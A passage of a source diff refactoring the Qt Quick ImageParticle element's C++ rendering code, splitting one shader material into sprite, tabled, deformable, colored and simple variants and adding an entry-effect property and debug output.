+ program()->setUniformValue("framecount", (float) 1);
+ program()->setUniformValue("animcount", (float) 1);
+ program()->setUniformValue(m_entry_id, (float) d->entry);
+ program()->setUniformValueArray(m_sizetable_id, (float*) d->sizeTable, UNIFORM_ARRAY_SIZE, 1);
+ program()->setUniformValueArray(m_opacitytable_id, (float*) d->opacityTable, UNIFORM_ARRAY_SIZE, 1);
}
- virtual void updateState(const RenderState &state, QSGMaterial *newEffect, QSGMaterial *)
+ int m_entry_id;
+ int m_timestamp_id;
+ int m_sizetable_id;
+ int m_opacitytable_id;
+ QByteArray m_vertex_code;
+ QByteArray m_fragment_code;
+ QGLFunctions* glFuncs;
+};
+
+class DeformableMaterialData : public ImageMaterialData {};
+class DeformableMaterial : public QSGSimpleMaterialShader<DeformableMaterialData>
+{
+ QSG_DECLARE_SIMPLE_SHADER(DeformableMaterial, DeformableMaterialData)
+
+public:
+ DeformableMaterial()
{
- UltraMaterial *m = static_cast<UltraMaterial *>(newEffect);
- state.context()->functions()->glActiveTexture(GL_TEXTURE1);
- m->colortable->bind();
+ QFile vf(":defaultshaders/imagevertex.shader");
+ vf.open(QFile::ReadOnly);
+ m_vertex_code = QByteArray(SHADER_DEFINES)
+ + QByteArray("#define DEFORM\n#define COLOR\n")
+ + vf.readAll();
+
+ QFile ff(":defaultshaders/imagefragment.shader");
+ ff.open(QFile::ReadOnly);
+ m_fragment_code = QByteArray(SHADER_DEFINES)
+ + QByteArray("#define DEFORM\n#define COLOR\n")
+ + ff.readAll();
+
+ Q_ASSERT(!m_vertex_code.isNull());
+ Q_ASSERT(!m_fragment_code.isNull());
+ }
- state.context()->functions()->glActiveTexture(GL_TEXTURE2);
- m->sizetable->bind();
+ const char *vertexShader() const { return m_vertex_code.constData(); }
+ const char *fragmentShader() const { return m_fragment_code.constData(); }
- state.context()->functions()->glActiveTexture(GL_TEXTURE3);
- m->opacitytable->bind();
+ QList<QByteArray> attributes() const {
+ return QList<QByteArray>() << "vPos" << "vTex" << "vData" << "vVec"
+ << "vColor" << "vDeformVec" << "vRotation";
+ };
- // make sure we end by setting GL_TEXTURE0 as active texture
- state.context()->functions()->glActiveTexture(GL_TEXTURE0);
- m->texture->bind();
+ void initialize() {
+ QSGSimpleMaterialShader<DeformableMaterialData>::initialize();
+ program()->bind();
+ program()->setUniformValue("texture", 0);
+ glFuncs = QGLContext::currentContext()->functions();
+ m_timestamp_id = program()->uniformLocation("timestamp");
+ m_entry_id = program()->uniformLocation("entry");
+ }
+
+ void updateState(const DeformableMaterialData* d, const DeformableMaterialData*) {
+ glFuncs->glActiveTexture(GL_TEXTURE0);
+ d->texture->bind();
+
+ program()->setUniformValue(m_timestamp_id, (float) d->timestamp);
+ program()->setUniformValue(m_entry_id, (float) d->entry);
+ }
+
+ int m_entry_id;
+ int m_timestamp_id;
+ QByteArray m_vertex_code;
+ QByteArray m_fragment_code;
+ QGLFunctions* glFuncs;
+};
+
+class SpriteMaterialData : public ImageMaterialData {};
+class SpriteMaterial : public QSGSimpleMaterialShader<SpriteMaterialData>
+{
+ QSG_DECLARE_SIMPLE_SHADER(SpriteMaterial, SpriteMaterialData)
+
+public:
+ SpriteMaterial()
+ {
+ QFile vf(":defaultshaders/imagevertex.shader");
+ vf.open(QFile::ReadOnly);
+ m_vertex_code = QByteArray(SHADER_DEFINES)
+ + QByteArray("#define SPRITE\n#define TABLE\n#define DEFORM\n#define COLOR\n")
+ + vf.readAll();
- program()->setUniformValue(m_opacity_id, state.opacity());
- program()->setUniformValue(m_timestamp_id, (float) m->timestamp);
- program()->setUniformValue(m_framecount_id, (float) m->framecount);
- program()->setUniformValue(m_animcount_id, (float) m->animcount);
+ QFile ff(":defaultshaders/imagefragment.shader");
+ ff.open(QFile::ReadOnly);
+ m_fragment_code = QByteArray(SHADER_DEFINES)
+ + QByteArray("#define SPRITE\n#define TABLE\n#define DEFORM\n#define COLOR\n")
+ + ff.readAll();
- if (state.isMatrixDirty())
- program()->setUniformValue(m_matrix_id, state.combinedMatrix());
+ Q_ASSERT(!m_vertex_code.isNull());
+ Q_ASSERT(!m_fragment_code.isNull());
}
- virtual void initialize() {
+ const char *vertexShader() const { return m_vertex_code.constData(); }
+ const char *fragmentShader() const { return m_fragment_code.constData(); }
+
+ QList<QByteArray> attributes() const {
+ return QList<QByteArray>() << "vPos" << "vTex" << "vData" << "vVec"
+ << "vColor" << "vDeformVec" << "vRotation" << "vAnimData";
+ };
+
+ void initialize() {
+ QSGSimpleMaterialShader<SpriteMaterialData>::initialize();
program()->bind();
program()->setUniformValue("texture", 0);
program()->setUniformValue("colortable", 1);
- program()->setUniformValue("sizetable", 2);
- program()->setUniformValue("opacitytable", 3);
- m_matrix_id = program()->uniformLocation("matrix");
- m_opacity_id = program()->uniformLocation("opacity");
+ glFuncs = QGLContext::currentContext()->functions();
m_timestamp_id = program()->uniformLocation("timestamp");
m_framecount_id = program()->uniformLocation("framecount");
m_animcount_id = program()->uniformLocation("animcount");
+ m_entry_id = program()->uniformLocation("entry");
+ m_sizetable_id = program()->uniformLocation("sizetable");
+ m_opacitytable_id = program()->uniformLocation("sizetable");
}
- virtual const char *vertexShader() const { return m_vertex_code.constData(); }
- virtual const char *fragmentShader() const { return m_fragment_code.constData(); }
-
- virtual char const *const *attributeNames() const {
- static const char *attr[] = {
- "vPos",
- "vTex",
- "vData",
- "vVec",
- "vColor",
- "vDeformVec",
- "vRotation",
- "vAnimData",
- 0
- };
- return attr;
- }
+ void updateState(const SpriteMaterialData* d, const SpriteMaterialData*) {
+ glFuncs->glActiveTexture(GL_TEXTURE1);
+ d->colorTable->bind();
- virtual bool isColorTable() const { return false; }
+ // make sure we end by setting GL_TEXTURE0 as active texture
+ glFuncs->glActiveTexture(GL_TEXTURE0);
+ d->texture->bind();
+
+ program()->setUniformValue(m_timestamp_id, (float) d->timestamp);
+ program()->setUniformValue(m_framecount_id, (float) d->framecount);
+ program()->setUniformValue(m_animcount_id, (float) d->animcount);
+ program()->setUniformValue(m_entry_id, (float) d->entry);
+ program()->setUniformValueArray(m_sizetable_id, (float*) d->sizeTable, 64, 1);
+ program()->setUniformValueArray(m_opacitytable_id, (float*) d->opacityTable, UNIFORM_ARRAY_SIZE, 1);
+ }
- int m_matrix_id;
- int m_opacity_id;
int m_timestamp_id;
int m_framecount_id;
int m_animcount_id;
-
+ int m_entry_id;
+ int m_sizetable_id;
+ int m_opacitytable_id;
QByteArray m_vertex_code;
QByteArray m_fragment_code;
-
- static float chunkOfBytes[1024];
+ QGLFunctions* glFuncs;
};
-float UltraMaterialData::chunkOfBytes[1024];
-QSGMaterialShader *UltraMaterial::createShader() const
+class ColoredMaterialData : public ImageMaterialData {};
+class ColoredMaterial : public QSGSimpleMaterialShader<ColoredMaterialData>
{
- if (usesSprites)//TODO: Perhaps just swap the shaders, and don't mind the extra vector?
- return new UltraMaterialData;
- else
- return new UltraMaterialData;
-}
+ QSG_DECLARE_SIMPLE_SHADER(ColoredMaterial, ColoredMaterialData)
+
+public:
+ ColoredMaterial()
+ {
+ QFile vf(":defaultshaders/imagevertex.shader");
+ vf.open(QFile::ReadOnly);
+ m_vertex_code = QByteArray(SHADER_DEFINES)
+ + QByteArray("#define COLOR\n")
+ + vf.readAll();
+ QFile ff(":defaultshaders/imagefragment.shader");
+ ff.open(QFile::ReadOnly);
+ m_fragment_code = QByteArray(SHADER_DEFINES)
+ + QByteArray("#define COLOR\n")
+ + ff.readAll();
-class SimpleMaterial : public UltraMaterial
-{
- virtual QSGMaterialShader *createShader() const;
- virtual QSGMaterialType *type() const { static QSGMaterialType type; return &type; }
+ Q_ASSERT(!m_vertex_code.isNull());
+ Q_ASSERT(!m_fragment_code.isNull());
+ }
+
+ const char *vertexShader() const { return m_vertex_code.constData(); }
+ const char *fragmentShader() const { return m_fragment_code.constData(); }
+
+ void activate() {
+ QSGSimpleMaterialShader<ColoredMaterialData>::activate();
+#ifndef QT_OPENGL_ES_2
+ glEnable(GL_POINT_SPRITE);
+ glEnable(GL_VERTEX_PROGRAM_POINT_SIZE);
+#endif
+ }
+
+ void deactivate() {
+ QSGSimpleMaterialShader<ColoredMaterialData>::deactivate();
+#ifndef QT_OPENGL_ES_2
+ glDisable(GL_POINT_SPRITE);
+ glDisable(GL_VERTEX_PROGRAM_POINT_SIZE);
+#endif
+ }
+
+ QList<QByteArray> attributes() const {
+ return QList<QByteArray>() << "vPos" << "vData" << "vVec" << "vColor";
+ }
+
+ void initialize() {
+ QSGSimpleMaterialShader<ColoredMaterialData>::initialize();
+ program()->bind();
+ program()->setUniformValue("texture", 0);
+ glFuncs = QGLContext::currentContext()->functions();
+ m_timestamp_id = program()->uniformLocation("timestamp");
+ m_entry_id = program()->uniformLocation("entry");
+ }
+
+ void updateState(const ColoredMaterialData* d, const ColoredMaterialData*) {
+ glFuncs->glActiveTexture(GL_TEXTURE0);
+ d->texture->bind();
+
+ program()->setUniformValue(m_timestamp_id, (float) d->timestamp);
+ program()->setUniformValue(m_entry_id, (float) d->entry);
+ }
+
+ int m_timestamp_id;
+ int m_entry_id;
+ QByteArray m_vertex_code;
+ QByteArray m_fragment_code;
+ QGLFunctions* glFuncs;
};
-class SimpleMaterialData : public QSGMaterialShader
+class SimpleMaterialData : public ImageMaterialData {};
+class SimpleMaterial : public QSGSimpleMaterialShader<SimpleMaterialData>
{
+ QSG_DECLARE_SIMPLE_SHADER(SimpleMaterial, SimpleMaterialData)
+
public:
- SimpleMaterialData(const char *vertexFile = 0, const char *fragmentFile = 0)
+ SimpleMaterial()
{
- QFile vf(vertexFile ? vertexFile : ":defaultshaders/simplevertex.shader");
+ QFile vf(":defaultshaders/imagevertex.shader");
vf.open(QFile::ReadOnly);
- m_vertex_code = vf.readAll();
+ m_vertex_code = QByteArray(SHADER_DEFINES)
+ + vf.readAll();
- QFile ff(fragmentFile ? fragmentFile : ":defaultshaders/simplefragment.shader");
+ QFile ff(":defaultshaders/imagefragment.shader");
ff.open(QFile::ReadOnly);
- m_fragment_code = ff.readAll();
+ m_fragment_code = QByteArray(SHADER_DEFINES)
+ + ff.readAll();
Q_ASSERT(!m_vertex_code.isNull());
Q_ASSERT(!m_fragment_code.isNull());
}
- void deactivate() {
- QSGMaterialShader::deactivate();
+ const char *vertexShader() const { return m_vertex_code.constData(); }
+ const char *fragmentShader() const { return m_fragment_code.constData(); }
- for (int i=0; i<8; ++i) {
- program()->setAttributeArray(i, GL_FLOAT, chunkOfBytes, 1, 0);
- }
+ void activate() {
+ QSGSimpleMaterialShader<SimpleMaterialData>::activate();
+#ifndef QT_OPENGL_ES_2
+ glEnable(GL_POINT_SPRITE);
+ glEnable(GL_VERTEX_PROGRAM_POINT_SIZE);
+#endif
}
- virtual void updateState(const RenderState &state, QSGMaterial *newEffect, QSGMaterial *)
- {
- UltraMaterial *m = static_cast<UltraMaterial *>(newEffect);
- state.context()->functions()->glActiveTexture(GL_TEXTURE0);
- m->texture->bind();
-
- program()->setUniformValue(m_opacity_id, state.opacity());
- program()->setUniformValue(m_timestamp_id, (float) m->timestamp);
+ void deactivate() {
+ QSGSimpleMaterialShader<SimpleMaterialData>::deactivate();
+#ifndef QT_OPENGL_ES_2
+ glDisable(GL_POINT_SPRITE);
+ glDisable(GL_VERTEX_PROGRAM_POINT_SIZE);
+#endif
+ }
- if (state.isMatrixDirty())
- program()->setUniformValue(m_matrix_id, state.combinedMatrix());
+ QList<QByteArray> attributes() const {
+ return QList<QByteArray>() << "vPos" << "vData" << "vVec";
}
- virtual void initialize() {
- m_matrix_id = program()->uniformLocation("matrix");
- m_opacity_id = program()->uniformLocation("opacity");
+ void initialize() {
+ QSGSimpleMaterialShader<SimpleMaterialData>::initialize();
+ program()->bind();
+ program()->setUniformValue("texture", 0);
+ glFuncs = QGLContext::currentContext()->functions();
m_timestamp_id = program()->uniformLocation("timestamp");
+ m_entry_id = program()->uniformLocation("entry");
}
- virtual const char *vertexShader() const { return m_vertex_code.constData(); }
- virtual const char *fragmentShader() const { return m_fragment_code.constData(); }
-
- virtual char const *const *attributeNames() const {
- static const char *attr[] = {
- "vPos",
- "vTex",
- "vData",
- "vVec",
- 0
- };
- return attr;
- }
+ void updateState(const SimpleMaterialData* d, const SimpleMaterialData*) {
+ glFuncs->glActiveTexture(GL_TEXTURE0);
+ d->texture->bind();
- virtual bool isColorTable() const { return false; }
+ program()->setUniformValue(m_timestamp_id, (float) d->timestamp);
+ program()->setUniformValue(m_entry_id, (float) d->entry);
+ }
- int m_matrix_id;
- int m_opacity_id;
int m_timestamp_id;
-
+ int m_entry_id;
QByteArray m_vertex_code;
QByteArray m_fragment_code;
-
- static float chunkOfBytes[1024];
+ QGLFunctions* glFuncs;
};
-float SimpleMaterialData::chunkOfBytes[1024];
-QSGMaterialShader *SimpleMaterial::createShader() const {
- return new SimpleMaterialData;
+void fillUniformArrayFromImage(float* array, const QImage& img, int size)
+{
+ if (img.isNull()){
+ for (int i=0; i<size; i++)
+ array[i] = 1;
+ return;
+ }
+ QImage scaled = img.scaled(size,1);
+ for (int i=0; i<size; i++)
+ array[i] = qAlpha(scaled.pixel(i,0))/255.0;
}
/*!
\qmlclass ImageParticle QSGImageParticle
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits ParticlePainter
\brief The ImageParticle element visualizes logical particles using an image
@@ -303,6 +460,8 @@ QSGMaterialShader *SimpleMaterial::createShader() const {
*/
/*!
\qmlproperty url QtQuick.Particles2::ImageParticle::sizeTable
+
+ Note that currently sizeTable is ignored for sprite particles.
*/
/*!
\qmlproperty url QtQuick.Particles2::ImageParticle::opacityTable
@@ -352,6 +511,21 @@ QSGMaterialShader *SimpleMaterial::createShader() const {
/*!
\qmlproperty list<Sprite> QtQuick.Particles2::ImageParticle::sprites
*/
+/*!
+ \qmlproperty EntryEffect QtQuick.Particles2::ImageParticle::entryEffect
+
+ This property provides basic and cheap entrance and exit effects for the particles.
+ For fine-grained control, see sizeTable and opacityTable.
+
+ Acceptable values are
+ \list
+ \o None: Particles just appear and disappear.
+ \o Fade: Particles fade in from 0. opacity at the start of their life, and fade out to 0. at the end.
+ \o Scale: Particles scale in from 0 size at the start of their life, and scale back to 0 at the end.
+ \endlist
+
+ Default value is Fade.
+*/
QSGImageParticle::QSGImageParticle(QSGItem* parent)
@@ -376,8 +550,16 @@ QSGImageParticle::QSGImageParticle(QSGItem* parent)
, m_bloat(false)
, perfLevel(Unknown)
, m_lastLevel(Unknown)
+ , m_debugMode(false)
+ , m_entryEffect(Fade)
{
setFlag(ItemHasContents);
+ m_debugMode = qmlParticlesDebug();
+}
+
+QSGImageParticle::~QSGImageParticle()
+{
+ delete m_material;
}
QDeclarativeListProperty<QSGSprite> QSGImageParticle::sprites()
@@ -572,6 +754,16 @@ void QSGImageParticle::setBloat(bool arg)
reset();
}
+void QSGImageParticle::setEntryEffect(EntryEffect arg)
+{
+ if (m_entryEffect != arg) {
+ m_entryEffect = arg;
+ if (m_material)
+ getState<ImageMaterialData>(m_material)->entry = (qreal) m_entryEffect;
+ emit entryEffectChanged(arg);
+ }
+}
+
void QSGImageParticle::reset()
{
QSGParticlePainter::reset();
@@ -592,19 +784,49 @@ void QSGImageParticle::createEngine()
static QSGGeometry::Attribute SimpleParticle_Attributes[] = {
{ 0, 2, GL_FLOAT }, // Position
- { 1, 2, GL_FLOAT }, // TexCoord
- { 2, 4, GL_FLOAT }, // Data
- { 3, 4, GL_FLOAT } // Vectors
+ { 1, 4, GL_FLOAT }, // Data
+ { 2, 4, GL_FLOAT } // Vectors
};
static QSGGeometry::AttributeSet SimpleParticle_AttributeSet =
{
- 4, // Attribute Count
- (2 + 2 + 4 + 4 ) * sizeof(float),
+ 3, // Attribute Count
+ ( 2 + 4 + 4 ) * sizeof(float),
SimpleParticle_Attributes
};
-static QSGGeometry::Attribute UltraParticle_Attributes[] = {
+static QSGGeometry::Attribute ColoredParticle_Attributes[] = {
+ { 0, 2, GL_FLOAT }, // Position
+ { 1, 4, GL_FLOAT }, // Data
+ { 2, 4, GL_FLOAT }, // Vectors
+ { 3, 4, GL_UNSIGNED_BYTE }, // Colors
+};
+
+static QSGGeometry::AttributeSet ColoredParticle_AttributeSet =
+{
+ 4, // Attribute Count
+ ( 2 + 4 + 4 ) * sizeof(float) + 4 * sizeof(uchar),
+ ColoredParticle_Attributes
+};
+
+static QSGGeometry::Attribute DeformableParticle_Attributes[] = {
+ { 0, 2, GL_FLOAT }, // Position
+ { 1, 2, GL_FLOAT }, // TexCoord
+ { 2, 4, GL_FLOAT }, // Data
+ { 3, 4, GL_FLOAT }, // Vectors
+ { 4, 4, GL_UNSIGNED_BYTE }, // Colors
+ { 5, 4, GL_FLOAT }, // DeformationVectors
+ { 6, 3, GL_FLOAT }, // Rotation
+};
+
+static QSGGeometry::AttributeSet DeformableParticle_AttributeSet =
+{
+ 7, // Attribute Count
+ (2 + 2 + 4 + 4 + 4 + 3) * sizeof(float) + 4 * sizeof(uchar),
+ DeformableParticle_Attributes
+};
+
+static QSGGeometry::Attribute SpriteParticle_Attributes[] = {
{ 0, 2, GL_FLOAT }, // Position
{ 1, 2, GL_FLOAT }, // TexCoord
{ 2, 4, GL_FLOAT }, // Data
@@ -615,159 +837,100 @@ static QSGGeometry::Attribute UltraParticle_Attributes[] = {
{ 7, 4, GL_FLOAT } // Anim Data
};
-static QSGGeometry::AttributeSet UltraParticle_AttributeSet =
+static QSGGeometry::AttributeSet SpriteParticle_AttributeSet =
{
8, // Attribute Count
(2 + 2 + 4 + 4 + 4 + 4 + 3) * sizeof(float) + 4 * sizeof(uchar),
- UltraParticle_Attributes
+ SpriteParticle_Attributes
};
-QSGGeometryNode* QSGImageParticle::buildSimpleParticleNodes()
-{
- perfLevel = Simple;//TODO: Intermediate levels
- QImage image = QImage(m_image_name.toLocalFile());
- if (image.isNull()) {
- printf("UltraParticle: loading image failed... '%s'\n", qPrintable(m_image_name.toLocalFile()));
- return 0;
- }
-
- if (m_material) {
- delete m_material;
- m_material = 0;
- }
-
- m_material = new SimpleMaterial();
- m_material->texture = sceneGraphEngine()->createTextureFromImage(image);
- m_material->texture->setFiltering(QSGTexture::Linear);
- m_material->framecount = 1;
-
- foreach (const QString &str, m_particles){
- int gIdx = m_system->m_groupIds[str];
- int count = m_system->m_groupData[gIdx]->size();
-
- QSGGeometryNode* node = new QSGGeometryNode();
- m_nodes.insert(gIdx, node);
- node->setMaterial(m_material);
-
- int vCount = count * 4;
- int iCount = count * 6;
-
- QSGGeometry *g = new QSGGeometry(SimpleParticle_AttributeSet, vCount, iCount);
- node->setGeometry(g);
- g->setDrawingMode(GL_TRIANGLES);
-
- SimpleVertex *vertices = (SimpleVertex *) g->vertexData();
- for (int p=0; p < count; ++p){
- commit(gIdx, p);
- vertices[0].tx = 0;
- vertices[0].ty = 0;
-
- vertices[1].tx = 1;
- vertices[1].ty = 0;
-
- vertices[2].tx = 0;
- vertices[2].ty = 1;
-
- vertices[3].tx = 1;
- vertices[3].ty = 1;
-
- vertices += 4;
- }
-
- quint16 *indices = g->indexDataAsUShort();
- for (int i=0; i < count; ++i) {
- int o = i * 4;
- indices[0] = o;
- indices[1] = o + 1;
- indices[2] = o + 2;
- indices[3] = o + 1;
- indices[4] = o + 3;
- indices[5] = o + 2;
- indices += 6;
- }
- }
-
- foreach (QSGGeometryNode* node, m_nodes){
- if (node == *(m_nodes.begin()))
- continue;
- (*(m_nodes.begin()))->appendChildNode(node);
- }
-
- return *(m_nodes.begin());
-}
-
QSGGeometryNode* QSGImageParticle::buildParticleNodes()
{
+#ifdef QT_OPENGL_ES_2
if (m_count * 4 > 0xffff) {
- printf("UltraParticle: Too many particles... \n");//### Why is this here?
+ printf("ImageParticle: Too many particles - maximum 16,000 per ImageParticle.\n");//ES 2 vertex count limit is ushort
return 0;
}
+#endif
if (count() <= 0)
return 0;
- if (!m_sprites.count() && !m_bloat
- && m_colortable_name.isEmpty()
- && m_sizetable_name.isEmpty()
- && m_opacitytable_name.isEmpty()
- && !m_autoRotation
- && !m_rotation && !m_rotationVariation
- && !m_rotationSpeed && !m_rotationSpeedVariation
- && !m_alphaVariation && m_alpha == 1.0
- && !m_redVariation && !m_blueVariation && !m_greenVariation
- && !m_color.isValid()
- )
- return buildSimpleParticleNodes();
- perfLevel = Sprites;//TODO: intermediate levels
- if (!m_color.isValid())//But we're in colored level (or higher)
- m_color = QColor(Qt::white);
+ if (m_sprites.count() || m_bloat) {
+ perfLevel = Sprites;
+ } else if (!m_colortable_name.isEmpty() || !m_sizetable_name.isEmpty()
+ || !m_opacitytable_name.isEmpty()) {
+ perfLevel = Tabled;
+ } else if (m_autoRotation || m_rotation || m_rotationVariation
+ || m_rotationSpeed || m_rotationSpeedVariation) {
+ perfLevel = Deformable;
+ } else if (m_alphaVariation || m_alpha != 1.0 || m_color.isValid()
+ || m_redVariation || m_blueVariation || m_greenVariation) {
+ perfLevel = Colored;
+ } else {
+ perfLevel = Simple;
+ }
+
+ if (perfLevel >= Colored && !m_color.isValid())
+ m_color = QColor(Qt::white);//Hidden default, but different from unset
QImage image;
- if (m_sprites.count()){
+ if (perfLevel >= Sprites){
if (!m_spriteEngine) {
- qWarning() << "UltraParticle: No sprite engine...";
+ qWarning() << "ImageParticle: No sprite engine...";
return 0;
}
image = m_spriteEngine->assembledImage();
if (image.isNull())//Warning is printed in engine
return 0;
- }else{
+ } else {
image = QImage(m_image_name.toLocalFile());
if (image.isNull()) {
- printf("UltraParticle: loading image failed... '%s'\n", qPrintable(m_image_name.toLocalFile()));
+ printf("ImageParticle: loading image failed '%s'\n", qPrintable(m_image_name.toLocalFile()));
return 0;
}
}
+
if (m_material) {
delete m_material;
m_material = 0;
}
- QImage colortable(m_colortable_name.toLocalFile());
- QImage sizetable(m_sizetable_name.toLocalFile());
- QImage opacitytable(m_opacitytable_name.toLocalFile());
- m_material = new UltraMaterial();
- if (colortable.isNull())
- colortable = QImage(":defaultshaders/identitytable.png");
- if (sizetable.isNull())
- sizetable = QImage(":defaultshaders/identitytable.png");
- if (opacitytable.isNull())
- opacitytable = QImage(":defaultshaders/defaultFadeInOut.png");
- Q_ASSERT(!colortable.isNull());
- Q_ASSERT(!sizetable.isNull());
- Q_ASSERT(!opacitytable.isNull());
- m_material->colortable = sceneGraphEngine()->createTextureFromImage(colortable);
- m_material->sizetable = sceneGraphEngine()->createTextureFromImage(sizetable);
- m_material->opacitytable = sceneGraphEngine()->createTextureFromImage(opacitytable);
-
- m_material->texture = sceneGraphEngine()->createTextureFromImage(image);
- m_material->texture->setFiltering(QSGTexture::Linear);
-
- m_material->framecount = 1;
- if (m_spriteEngine){
- m_material->framecount = m_spriteEngine->maxFrames();
+ //Setup material
+ QImage colortable;
+ QImage sizetable;
+ QImage opacitytable;
+ switch (perfLevel) {//Fallthrough intended
+ case Sprites:
+ m_material = SpriteMaterial::createMaterial();
+ getState<ImageMaterialData>(m_material)->framecount = m_spriteEngine->maxFrames();
m_spriteEngine->setCount(m_count);
+ case Tabled:
+ if (!m_material)
+ m_material = TabledMaterial::createMaterial();
+ colortable = QImage(m_colortable_name.toLocalFile());
+ sizetable = QImage(m_sizetable_name.toLocalFile());
+ opacitytable = QImage(m_opacitytable_name.toLocalFile());
+ if (colortable.isNull())
+ colortable = QImage(":defaultshaders/identitytable.png");
+ Q_ASSERT(!colortable.isNull());
+ getState<ImageMaterialData>(m_material)->colorTable = sceneGraphEngine()->createTextureFromImage(colortable);
+ fillUniformArrayFromImage(getState<ImageMaterialData>(m_material)->sizeTable, sizetable, UNIFORM_ARRAY_SIZE);
+ fillUniformArrayFromImage(getState<ImageMaterialData>(m_material)->opacityTable, opacitytable, UNIFORM_ARRAY_SIZE);
+ case Deformable:
+ if (!m_material)
+ m_material = DeformableMaterial::createMaterial();
+ case Colored:
+ if (!m_material)
+ m_material = ColoredMaterial::createMaterial();
+ default://Also Simple
+ if (!m_material)
+ m_material = SimpleMaterial::createMaterial();
+ getState<ImageMaterialData>(m_material)->texture = sceneGraphEngine()->createTextureFromImage(image);
+ getState<ImageMaterialData>(m_material)->texture->setFiltering(QSGTexture::Linear);
+ getState<ImageMaterialData>(m_material)->entry = (qreal) m_entryEffect;
+ m_material->setFlag(QSGMaterial::Blending);
}
foreach (const QString &str, m_particles){
@@ -784,39 +947,51 @@ QSGGeometryNode* QSGImageParticle::buildParticleNodes()
int vCount = count * 4;
int iCount = count * 6;
- QSGGeometry *g = new QSGGeometry(UltraParticle_AttributeSet, vCount, iCount);
- node->setGeometry(g);
- g->setDrawingMode(GL_TRIANGLES);
-
- UltraVertex *vertices = (UltraVertex *) g->vertexData();
- for (int p=0; p < count; ++p) {
- commit(gIdx, p);//commit sets geometry for the node
-
- vertices[0].tx = 0;
- vertices[0].ty = 0;
-
- vertices[1].tx = 1;
- vertices[1].ty = 0;
-
- vertices[2].tx = 0;
- vertices[2].ty = 1;
-
- vertices[3].tx = 1;
- vertices[3].ty = 1;
-
- vertices += 4;
- }
+ QSGGeometry *g;
+ if (perfLevel == Sprites)
+ g = new QSGGeometry(SpriteParticle_AttributeSet, vCount, iCount);
+ else if (perfLevel == Tabled)
+ g = new QSGGeometry(DeformableParticle_AttributeSet, vCount, iCount);
+ else if (perfLevel == Deformable)
+ g = new QSGGeometry(DeformableParticle_AttributeSet, vCount, iCount);
+ else if (perfLevel == Colored)
+ g = new QSGGeometry(ColoredParticle_AttributeSet, count, 0);
+ else //Simple
+ g = new QSGGeometry(SimpleParticle_AttributeSet, count, 0);
- quint16 *indices = g->indexDataAsUShort();
- for (int i=0; i < count; ++i) {
- int o = i * 4;
- indices[0] = o;
- indices[1] = o + 1;
- indices[2] = o + 2;
- indices[3] = o + 1;
- indices[4] = o + 3;
- indices[5] = o + 2;
- indices += 6;
+ node->setGeometry(g);
+ if (perfLevel <= Colored){
+ g->setDrawingMode(GL_POINTS);
+ if (m_debugMode){
+ GLfloat pointSizeRange[2];
+ glGetFloatv(GL_ALIASED_POINT_SIZE_RANGE, pointSizeRange);
+ qDebug() << "Using point sprites, GL_ALIASED_POINT_SIZE_RANGE " <<pointSizeRange[0] << ":" << pointSizeRange[1];
+ }
+ }else
+ g->setDrawingMode(GL_TRIANGLES);
+
+ for (int p=0; p < count; ++p)
+ commit(gIdx, p);//commit sets geometry for the node, has its own perfLevel switch
+
+ if (perfLevel == Sprites)
+ initTexCoords<SpriteVertex>((SpriteVertex*)g->vertexData(), vCount);
+ else if (perfLevel == Tabled)
+ initTexCoords<DeformableVertex>((DeformableVertex*)g->vertexData(), vCount);
+ else if (perfLevel == Deformable)
+ initTexCoords<DeformableVertex>((DeformableVertex*)g->vertexData(), vCount);
+
+ if (perfLevel > Colored){
+ quint16 *indices = g->indexDataAsUShort();
+ for (int i=0; i < count; ++i) {
+ int o = i * 4;
+ indices[0] = o;
+ indices[1] = o + 1;
+ indices[2] = o + 2;
+ indices[3] = o + 1;
+ indices[4] = o + 3;
+ indices[5] = o + 2;
+ indices += 6;
+ }
}
}
@@ -867,26 +1042,34 @@ void QSGImageParticle::prepareNextFrame()
m_rootNode = buildParticleNodes();
if (m_rootNode == 0)
return;
- //qDebug() << "Feature level: " << perfLevel;
+ if(m_debugMode){
+ qDebug() << "QSGImageParticle Feature level: " << perfLevel;
+ qDebug() << "QSGImageParticle Nodes: ";
+ int count = 0;
+ foreach(int i, m_nodes.keys()){
+ qDebug() << "Group " << i << " (" << m_system->m_groupData[i]->size() << " particles)";
+ count += m_system->m_groupData[i]->size();
+ }
+ qDebug() << "Total count: " << count;
+ }
}
qint64 timeStamp = m_system->systemSync(this);
qreal time = timeStamp / 1000.;
- m_material->timestamp = time;
-
- //Advance State
- if (m_spriteEngine){//perfLevel == Sprites?//TODO: use signals?
- m_material->animcount = m_spriteEngine->spriteCount();
+ switch (perfLevel){//Fall-through intended
+ case Sprites:
+ //Advance State
+ getState<ImageMaterialData>(m_material)->animcount = m_spriteEngine->spriteCount();
m_spriteEngine->updateSprites(timeStamp);
foreach (const QString &str, m_particles){
int gIdx = m_system->m_groupIds[str];
int count = m_system->m_groupData[gIdx]->size();
- UltraVertices *particles = (UltraVertices *) m_nodes[gIdx]->geometry()->vertexData();
+ Vertices<SpriteVertex>* particles = (Vertices<SpriteVertex> *) m_nodes[gIdx]->geometry()->vertexData();
for (int i=0; i < count; i++){
int spriteIdx = m_idxStarts[gIdx] + i;
- UltraVertices &p = particles[i];
+ Vertices<SpriteVertex> &p = particles[i];
int curIdx = m_spriteEngine->spriteState(spriteIdx);
if (curIdx != p.v1.animIdx){
p.v1.animIdx = p.v2.animIdx = p.v3.animIdx = p.v4.animIdx = curIdx;
@@ -896,9 +1079,15 @@ void QSGImageParticle::prepareNextFrame()
}
}
}
- }else{
- m_material->animcount = 1;
+ case Tabled:
+ case Deformable:
+ case Colored:
+ case Simple:
+ default: //Also Simple
+ getState<ImageMaterialData>(m_material)->timestamp = time;
+ break;
}
+
}
void QSGImageParticle::reloadColor(const Color4ub &c, QSGParticleData* d)
@@ -967,47 +1156,91 @@ void QSGImageParticle::commit(int gIdx, int pIdx)
if (!node)
return;
QSGParticleData* datum = m_system->m_groupData[gIdx]->data[pIdx];
-
node->setFlag(QSGNode::OwnsGeometry, false);
- UltraVertex *ultraVertices = (UltraVertex *) node->geometry()->vertexData();
+ SpriteVertex *spriteVertices = (SpriteVertex *) node->geometry()->vertexData();
+ DeformableVertex *deformableVertices = (DeformableVertex *) node->geometry()->vertexData();
+ ColoredVertex *coloredVertices = (ColoredVertex *) node->geometry()->vertexData();
SimpleVertex *simpleVertices = (SimpleVertex *) node->geometry()->vertexData();
- switch (perfLevel){
+ switch (perfLevel){//No automatic fall through intended on this one
case Sprites:
- ultraVertices += pIdx*4;
